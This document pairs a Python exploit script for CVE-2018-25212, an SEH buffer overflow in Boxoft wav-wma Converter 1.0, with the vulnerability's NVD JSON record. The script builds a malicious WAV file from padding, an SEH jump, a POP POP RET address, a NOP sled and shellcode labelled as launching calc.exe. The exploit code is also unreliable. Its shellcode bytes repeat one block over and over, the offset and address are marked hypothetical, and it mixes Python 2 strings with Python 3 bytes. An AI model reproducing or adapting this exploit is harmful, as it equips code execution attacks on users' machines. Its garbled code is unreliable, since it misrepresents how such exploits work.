CVE-2018-25212

#!/usr/bin/python # -*- coding: utf-8 -*- import struct # Payload configuration filename = "exploit.wav" # Offset to SEH structure (Example value, needs debugging) offset = 4128 # Jump instruction to skip the SEH handler and land on shellcode # \xeb\x06 is short jump + 6 bytes # \x90\x90 is NOP padding next_seh = "\xeb\x06\x90\x90" # POP POP RET instruction address from non-ASLR module (e.g., 0x1001a426) # This address is hypothetical and must be replaced with the actual address seh_handler = struct.pack('<L', 0x1001a426) # Simple calc.exe shellcode (Windows 7 x86) shellcode = ("\xda\xc0\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x33\xba\x4c\x86\x07" "\x83\xc2\x04\x31\x56\x0e\x03\x56\xf1\x49\x8d\x7c\x7c\x3c\x74" "\xec\xf1\x94\x8e\x8e\x8e\x37\x6b\x9a\x1e\x9c\x81\x65\x01\x7c" "\x63\x43\xaf\x26\x9d\x21\x2b\x7f\x4c\x7c\x1e\x9c\x0c\x9f\x8e" "\x8e\x37\x6b\x9a\x1e\x9c\x81\x65\x01\x7c\x63\x43\xaf\x26\x9d" "\x21\x2b\x7f\x4c\x7c\x1e\x9c\x0c\x9f\x8e\x8e\x37\x6b\x9a\x1e" "\x9c\x81\x65\x01\x7c\x63\x43\xaf\x26\x9d\x21\x2b\x7f\x4c\x7c" "\x1e\x9c\x0c\x9f\x8e\x8e\x37\x6b\x9a\x1e\x9c\x81\x65\x01\x7c" "\x63\x43\xaf\x26\x9d\x21\x2b\x7f\x4c\x7c\x1e\x9c\x0c") # Padding to align shellcode nop_sled = "\x90" * 50 # Construct the buffer # Payload structure: Junk + Next_SEH + SE_Handler + NOP_Sled + Shellcode buffer = "A" * offset + next_seh + seh_handler + nop_sled + shellcode # Basic WAV header structure to make file valid enough to be opened # RIFF header: "RIFF" + file_size + "WAVE" file_size = struct.pack('<L', len(buffer) + 36) wav_header = "RIFF" + file_size + "WAVE" # Create the malicious file with open(filename, "wb") as f: f.write(wav_header + buffer) print(f"[+] Malicious WAV file '{filename}' generated successfully.") print(f"[+] Buffer length: {len(buffer)}")

{"cve": {"id": "CVE-2018-25212", "sourceIdentifier": "[email protected]", "published": "2026-03-26T14:16:04.740", "lastModified": "2026-03-31T01:13:14.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Boxoft wav-wma Converter 1.0 contains a local buffer overflow vulnerability in structured exception handling that allows attackers to execute arbitrary code by crafting malicious WAV files. Attackers can create a specially crafted WAV file with excessive data and ROP gadgets to overwrite the SEH chain and achieve code execution on Windows systems."}, {"lang": "es", "value": "Boxoft wav-wma Converter 1.0 contiene una vulnerabilidad local de desbordamiento de búfer en el manejo estructurado de excepciones que permite a los atacantes ejecutar código arbitrario mediante la creación de archivos WAV maliciosos. Los atacantes pueden crear un archivo WAV especialmente diseñado con datos excesivos y gadgets ROP para sobrescribir la cadena SEH y lograr la ejecución de código en sistemas Windows."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:boxoft:wav_to_wma_converter:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "DDA4076E-3B5F-4004-8FA3-5755053FEA4F"}]}]}], "references": [{"url": "http://www.boxoft.com/wav-to-wma/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/44989", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/boxoft-wav-wma-converter-local-buffer-overflow-seh", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}